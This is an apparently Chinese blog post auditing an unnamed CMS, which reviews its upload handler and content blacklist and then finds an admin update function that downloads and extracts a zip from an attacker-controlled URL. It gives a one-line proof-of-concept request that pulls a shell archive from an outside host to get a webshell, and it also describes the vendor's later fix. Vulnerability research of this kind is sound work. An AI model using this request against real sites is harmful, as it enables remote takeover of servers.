某cms代码审计

机缘巧合之下看到的一个CMS,搜了一搜没有找到Github,但是找到了这个CMS的官网,扒拉下来一个四五月更新的版本,看看能不能审计出点东西.....

前置知识

在分析审计代码之前先来看一下index.php文件中的代码,对CMS的路由等有个了解
index.php
前面代码部分会对一些类进行加载校验,诸如数据库连接等类。这里会对front类进行实例化并调用类中的dispatch方法,跟进代码来仔细看一下

/lib/tool/front_class.php
dispatch方法会对类是否存在进行一个校验,如果类不存在直接抛出异常,$case变量以及$act都是通过GET方式进行获取的,之后会对$act进行一个拼接赋值给$method,之后去类中寻找对应的方法,如果存在就可以调用类中的方法,不存在就会抛出异常

还需要注意的是后台功能模块或是调用类中方法的时候都会自带两个参数site=default&admin_dir=admin,这两个get参数部分功能点通过抓包能够看到,所以最好是在请求的时候自己写上

upload

还是常规思路,先对存在上传的功能点进行分析。登录管理员后台,上传功能点有多个,这里对上传logo功能点进行尝试,设置->全局设置->网站logo,上传正常的图片同时进行抓包


能够正常上传图片,修改后缀为PHP上传失败,常见的绕过方法都没有用,将请求转换成表单的形式也没有办法进行上传,根据前面提到调用的方法形式,来找到类以及类中的方法进行审计
/lib/default/tool_act.php#556

  1. function uploadimage3_action()
  2. {
  3. $res = array();
  4. $uploads = array();
  5. if (is_array($_FILES)) {
  6. $upload = new upload();
  7. $upload->dir = 'images';
  8. $upload->max_size = config::get('upload_max_filesize') * 1024 * 1024;
  9. $_file_type = str_replace(',', '|', config::get('upload_filetype'));
  10. foreach ($_FILES as $name => $file) {
  11. $res[$name]['size'] = ceil($file['size'] / 1024);
  12. if ($file['size'] > $upload->max_size) {
  13. $res[$name]['code'] = "1";
  14. $res[$name]['msg'] = lang('attachment_exceeding_the_upper_limit') . "(" . ceil($upload->max_size / 1024) . "K)!";
  15. break;
  16. }
  17. if (!front::checkstr(file_get_contents($file['tmp_name']))) {
  18. $res[$name]['code'] = "2";
  19. $res[$name]['msg'] = lang('upload_failed_attachment_is_not_verified');
  20. break;
  21. }
  22. if (!$file['name'] || !preg_match('/\.(' . $_file_type . ')$/', $file['name']))
  23. continue;
  24. $uploads[$name] = $upload->run($file);
  25. if (!$uploads[$name]) {
  26. $res[$name]['code'] = "3";
  27. $res[$name]['msg'] = lang('attachment_save_failed');
  28. break;
  29. }
  30. $str = (config::get('base_url')==""?"":config::get('base_url')) .$uploads[$name];
  31. $res[$name]['name'] = $str;
  32. $res[$name]['type'] = $file['type'];
  33. $res[$name]['code'] = "0";
  34. apps::updateimg($uploads[$name],ROOT.$str);
  35. }
  36. }
  37. echo json::encode($res);
  38. }

uploadimage3_action方法对上传的文件进行了处理,首先对文件类型、大小等进行了获取,并从已申明的常量中获取了允许上传的文件类型即文件名后缀,也就是说这里做了白名单校验,只有在白名单当中的文件才能够上传成功;之后调用了front类中的checkstr方法对文件内容进行了校验,跟进一下方法

checkstr方法写了一个黑名单匹配规则,只要匹配到黑名单当中的字符串内容,就直接返回false,那么也无法成功上传,这样子图片马必须采用短标签的形式进行写入,利用的前提是php的配置解析短标签,并且存在可控的文件包含点
之后对文件后缀进行校验,如果符合要求就会调用upload类中run方法进行文件存储路径的创建

下面通过调试直接输出一些变量值

可以看到允许上传的所有文件类型,以及对文件处理之后生成的绝对存储路径,这里看到允许上传压缩包的时候想到了之前审计的CMSgetshell的方法就是通过在压缩包中放入shell文件,之后cms进行解压缩操作,已知上传之后的路径;那么接下来就需要找到对压缩包进行解压缩操作的方法
lib/plugins/filecheck/tool/phpzip#unzip

通过全局代码搜索找到unzip方法,但是index.php并不会包含该类,那么上传压缩包进行getshell的方法就不可行了

看起来功能点结合getshell就到这里了。接下来转变一下思路,还记得之前审过的cms能够通过控制器调用方法远程下载vps上的文件,那么一样能够达到getshell的目的,那就跟着思路去找找看有没有类似的方法存在。
全局搜索类似function download,downfile的关键词,找到了几处,经过审计确认其中一个可能可以满足需求
lib/admin/update_admin.php#85

通过调用front类的get方法获取url参数,之后调用本来中的get_file方法,跟进,这里就是对指定的文件进行了下载保存,那么应该可以远程下载我们的shell文件了;之后会调用PclZip类中的extract方法对上传的压缩包进行解压缩并对已经存在的文件进行覆盖,下面的代码还会对指定的sql文件进行覆盖并重新加载sql文件,那么可以在数据库文件插入恶意代码进行getshell,这里没有深入探究。

根据前面分析的,可以构造出如下的poc

  1. case=update&act=downfile&site=default&admin_dir=admin&url=http://xxxx/xx.zip

成功getshell

漏洞修复

审计的CMS并不是最新版的,看了最新版的,已经对此处的漏洞进行了修复。修复代码如下:

跟一下,可以发现其实是对url进行了解密处理,该类中还有一个加密函数,其实这算是另类的修复方案?未使用加密方法对url处理,那么解密之后url自然也就乱码了,乱码的地址当然也就不能访问到要下载的文件了,挺绝的…

  • 发表于 2021-11-19 16:29:49
  • 阅读 ( 7136 )
  • 分类:漏洞分析

0 条评论

joker
joker

19 篇文章

站长统计